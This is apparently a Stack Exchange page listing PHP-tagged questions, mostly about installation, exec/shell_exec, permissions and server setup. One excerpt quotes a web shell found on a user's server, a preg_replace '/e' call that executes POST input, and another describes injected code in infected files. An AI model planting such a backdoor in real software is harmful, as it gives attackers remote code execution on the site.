Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [php]

PHP is a widely-used, general-purpose scripting language that is especially suited for web development. Use this tag when you are dealing with a PHP script, installing PHP, or configuring a PHP installation.

2
votes
0answers
11 views

Message: Undefined variable: fetch_data [on hold]

i am using this using codeigniter to run the snippet of code from.. from https://www.webslesson.info/2016/10/insert-fetch-update-delete-mysql-data-in-codeigniter.html .This is my autoload.php <...
1
vote
1answer
14 views

set php-fpm user and group to website's owner

I have a centos 6 server which using apache to connect php-fpm to run php site, i use user's home directory for the website root, for example /home/user1, . On the other hand, the php-fpm www.conf, ...
0
votes
0answers
16 views

PHP Bash User input [migrated]

I have a bash script that works as. A user inputs a filename and then the script searches through the directories and when its found it copies to another location so that the file gets re-processed ...
0
votes
0answers
23 views

PHP system() executes twice, while exec() don't [migrated]

I have strange problem: when I execute command using system() it runs 2 times, but not when I use exec() test.php echo "something" . PHP; | testSystem.php system(__DIR__ . "/test.php"); // runs 2 ...
1
vote
0answers
14 views

Mounted CIFS directory by web shell not visible in the system shell

I use PHP shell_exec to run the command echo password | sudo -S mount.cifs //192.168.1.15/Share /share -o username=root,password=password HTTPD user is granted sudo-pivilege, the command ran ...
0
votes
0answers
18 views

Mount “Visible” to PHP but not to “System”

I have a mount bash script. I can run the script from CL fine. It mounts as expected. I call this same script from PHP using exec() and get no errors. www-data has sudo rights listed for this ...
1
vote
2answers
68 views

problem piping data into nc

I've written a small UDP server in PHP which listens on a socket, accepts a command, and performs an action. It's really quite basic. I can connect to it manually like this: % nc -u host port (...
0
votes
0answers
27 views

Running Commandline Scripts Through PHP

I am having difficulties running bash scripts with php's exec() and wanted to get some suggestions. I would love to be more flexible in this area because I can see a lot of potential for my small ...
1
vote
3answers
29 views

How to install php + mysql on Fedora?

I'm trying to install wordpress locally. I've installed mysql (MariaDB) and php-mysqli. I have user created and database from mysql console and I have this 3 files: $ cd /etc/php.d/ $ cat 30-mysqli....
0
votes
0answers
19 views

Is Symfony 2.5 compatible with PHP 7.1

I have updated my PHP version to 7.1 and my website has crashed with an HTTP ERROR 500. What can I do to make it work?
12
votes
7answers
3k views

How to get only the version number of php?

I want to get only the version of php installed on CentOS. Output of php -v PHP 7.1.16 (cli) (built: Mar 28 2018 13:19:29) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.1.0, Copyright ...
0
votes
1answer
27 views

unable to run command as sudo in php (CentOS 7)

I need to run a sudo command from a PHP script in CentOS 7, but I am getting an error: sudo: no tty present and no askpass program specified I have edited my sudoers file with the following lines,...
1
vote
0answers
17 views

unable to install phpmyadmin in RHEL 6

I am using red hat 6.0 Linux.Currently php 5.3.2 is installed.I want to install phpMyAdmin in it.for that php5.5 is required. I already installed epel ,remi repository in my system. I am trying to ...
1
vote
0answers
27 views

What's the difference between the `php71` and `php71w` in the yum repos?

I use yum list *php71*, there shows: ... php71-php-zstd.x86_64 0.4.14-1.el7.remi ...
-1
votes
3answers
37 views

How to identify the package manager used to install software in CentOS?

On my CentOS 7.2 Server: [root@localhost data]# which php /usr/local/bin/php [root@localhost data]# ll /usr/local/bin/php lrwxrwxrwx. 1 root root 29 Jun 25 08:13 /usr/local/bin/php -> /usr/local/...
0
votes
0answers
22 views

Deleting files using www-data user

I'm running an apache2 web server on raslberry pi 3 with raspbian stretch installed. In case of unauthorized activity, I would like to delete all files saved at the apache's /var/www/html folder. I ...
1
vote
1answer
41 views

Strange problem with Phantomjs, it gets 404 error for an url, and it works fine for many other websites

I have Phantomjs 2.1.1 installed in debian 9, it works fine for many websites but it gets 404 error for this simple URL: http://writeastory.net/test.jpg I tested in two servers, i got the same issue, ...
2
votes
1answer
55 views

Can't get iso-8859-1 to work for 'umlauts' (Debian / Plesk)

I think I have configured ISO-8859-1 at all necessary locations, but still, my pages are displaying black '?' instead of German umlauts! My server runs Plesk 17.8.11 / Debian 8 / Apache 2 / PHP 7.1 (...
-1
votes
1answer
60 views

How to execute ln on find results

I want to make symlinks for image files in a directory in the server. Currently I'm doing it by executing this command using php function exec(): ln -sf path/to/source path/to/symlink Both file ...
1
vote
0answers
49 views

Webserver crashes on a Saturday due to high disk IO [closed]

I'm having an issue where an Ubuntu 16.04 Serverpilot VPS server crashes on a Saturday but no other day of the week. It hosts 60 or so low traffic Wordpress websites, there are no CRON jobs that run ...
2
votes
1answer
379 views

cp: cannot create regular file: Permission denied

I am running a PHP script on my Apache server and from the script I need to copy some files (to run a Bash script that copies files). I can copy to a directory /tmp with no problems, but when I want ...
2
votes
1answer
48 views

Installing icingaweb2 / icingacli under Oracle Linux 6 [closed]

I'm trying to install icingaweb2 / icingacli on a vServer running Oracle Linux 6. I've managed to install icinga2 from the icinga repo and php7.0 from the ol6_developer repo. But if I try to install ...
1
vote
1answer
59 views

ftp passive mode and php

I have an Apache web server running on this machine with Debian stable, this PHP program have to connect using FTP to a remote online server among other things. Everything worked fine until I ...
1
vote
2answers
61 views

Apache and FPM link severed by script timeout

I am attempting to setup Apache + PHP-FPM, however, we have a long running script that was executed and eventually timed out, which severed the link between Apache and FPM ultimately bringing down the ...
6
votes
1answer
739 views

Print something in console in the same place of the previous echo, with a sort of negative echo

In bash you can cast a command named clear to clear all the screen commands. And with echo you can print whatever you want onscreen.. In my simple scripts I often have the need of print a percentage ...
1
vote
1answer
30 views

Shell_exec of dynamically created script with else

I am trying to use Shell_exec to a run a script which is dynamically created and stored in a php variable. Here is the script so far. { curl -fsS --retry 3 https://hc-ping.com/same-unique-id-here ; \...
0
votes
2answers
273 views

Run a script every minute without cron and allowing children

I've written 2 php scripts one worker and one master. If I run master manually it checks a rabbitmq system and spawns 1 worker for each queue it detects. Then if I run master again it checks see if ...
1
vote
1answer
49 views

Postfix SMTP auth

I have installed a postfix server with dovecot sasl and TLS. The problem when I try to send mail from PHP code, if I use login auth type as 'smtp' the server accept the connection without any ...
0
votes
0answers
7 views

max_execution_time parameters override in PHP on LEMP (PHP-FPM / Nginx)

max_execution_time parameter value need to change for specific module of the application alone else it will reflect globally. Example : My lemp stack server have the max_execution_time parameter ...
1
vote
0answers
17 views

How to install tidy on Fedora [closed]

I've installed tidy and in phpinfo() I have tidy in list of modules with author, but no configuration section with options. I have file /etc/php.d/20-tidy.ini but it's not on the list of files in "...
1
vote
1answer
47 views

PHP missing cURL and XDebug after upgrade

I just upgraded to Ubuntu 18.04.1 LTS and went to check on my local apache2 installation by adding phpinfo() to an index file. I do not see an entry for cURL or for XDebug. Here's what I did: ...
0
votes
1answer
50 views

What is the best method to get rid of a pattern in multiple php files? [closed]

Working on infected website with hundreds of php files with the following injected signature code in the top of each file: <?php /*457563643457563643*/ ?><?php /*5467543654675436*/ ?><?...
1
vote
1answer
49 views

Unknow PHP file uploaded to server EEC4D8E4439299046B8CDB3F782<?php @preg_replace(“/[pageerror]/e”,$_POST['xbfk'],“saft”); ?>

I just found out someone uploaded a PHP file to our application hosted on a shared Linux server, with the name 6fbb2.php and this is the content of the file: EEC4D8E4439299046B8CDB3F782<?php @...
1
vote
7answers
104 views

Create PHP array from letters

I would like to create a PHP array from the Serbian alphabet. Out of а б в г д ђ е ж з и ј к л љ м н њ о п р с т ћ у ф х ц ч џ ш a b c č ć d dž đ e f g h i j k l lj m n nj o p r s š t u v z ž ...
0
votes
1answer
20 views

How can I install SSH PHP library similar to Ubuntu's libssh2-php on Fedora28?

On Ubuntu there is the lib mentioned above: sudo apt-get install libssh2-php But where can I found it on Fedora? Any idea?
0
votes
1answer
227 views

Does Apache2 auto install when installing PHP 7.2?

Anyone else experiencing this issue? When I installed PHP 7.2, it somehow auto installed Apache2 with it. This is a fresh Ubuntu 16.04 with only nginx installed on it to serve static files. add-apt-...
0
votes
2answers
211 views

Bash - variable contains dollar signs

I have a php script that passes a variable to a bash script: exec("bash.sh $path") The bash script looks like so: #!/bin/bash path=$1 echo $path If the path ends in dollar signs like so: myfile.$$...
1
vote
0answers
28 views

Apache looking for .html instead of .php

I have set up a webserver on Linux. Everything is working fine if I use .html extension. When I change the DirectoryIndex in mij domain.conf file and restart apache / reload the config, it still does ...
1
vote
0answers
48 views

How to install php7 on solaris 10 with Oracle Instant client

I am trying to install php7 with oracle on Solaris 10. The oracle instant-client-basic and instant-client sdk was downloaded from oracle The instant client-basic was unzipped and this creates the ...
0
votes
0answers
15 views

complete RSS truncated feeds

I am looking for a way to locally complete RSS truncated feeds. I was using for years wizardrss[dont click]com (it’s now a squated) witch was an online service who do the stuff. But it turn off since ...
0
votes
0answers
14 views

PHP configuration based on each domain user Not working when fastcgi apache server is running

I have configured php configuration for each domain account like below in the file /etc/sentora/configs/apache/phpconfig/domain_user.conf That file i have made like below. For only the particular ...
1
vote
2answers
47 views

Why can't I connect to mysql via the browser but via the terminal with php?

I would like to display a MySQL table in the browser with PHP and created the file demo-db.php <!DOCTYPE html> <html> <body> <?php $servername = "localhost"; $username = "...
0
votes
0answers
51 views

Trouble to install php56 in Manjaro

I'm having trouble to install php56 on manjaro. The output doesn't say much or doesn't give any relevant hint of the problem. It only say that failure occured in check(). Generating phar.php ...
0
votes
2answers
607 views

Run bash script from PHP with parameters - Brackets causing problem

I have this PHP: exec("/csvexport.sh $table"); Which runs this bash script (it exports a table to CSV): #!/bin/bash table=$1 mysql --database=db --user=user --password=pass -B -e "SELECT field1, ...
0
votes
0answers
27 views

Without root, how to make programs use a specific PHP version instead of the default?

I've run into the following situation: Managed Server (Webserver, Debian jessie) with SSH access Server has several PHP version installed php is a symlink to php4 which is a symlink to php4.4 PHP ...
0
votes
0answers
19 views

How to find the program that is using a php-fpm pool

I have an nginx with php-fpm web server hosting several sites. I have installed php-fpm and it uses a pool named 'www'. I now see 2 processes appearing that have php-fpm: pool drupal. I have drupal ...
1
vote
1answer
1k views

How to install php7.2 on Debian?

I have a problem in the installation of php. I have tested a lot of solution but without success. I'm using debian 8 server. Here is the error in french (sorry) In English this error speak about ...
3
votes
1answer
163 views

How to install php7 on solaris 10 with OpenSSL 1.0.1

I am trying to install php7 on Solaris 10. OpenSSL 1.0.1 was installed from https://www.opencsw.org/packages/libssl1_0_0/ To check for the installed ssl I did pkginfo -i | grep -i "ssl" and I ...
-3
votes
1answer
40 views

How to echo last word after / of a link (url) [closed]

supposing i send to someone http://www.test.com/?m=Name as my url and I want to display the last word "Name" to one who opens the link. Please some one help me out with required script thx..
0
votes
0answers
18 views

Zenbership Install Fails with Error: SQLSTATE[HY000] [2002] No such file or directory

I recently installed Zenbership to our sandbox. It was a smooth and easy install process, set folder permissions, create a DB & user, it connected to MariaDB and established the DB, no problem. I ...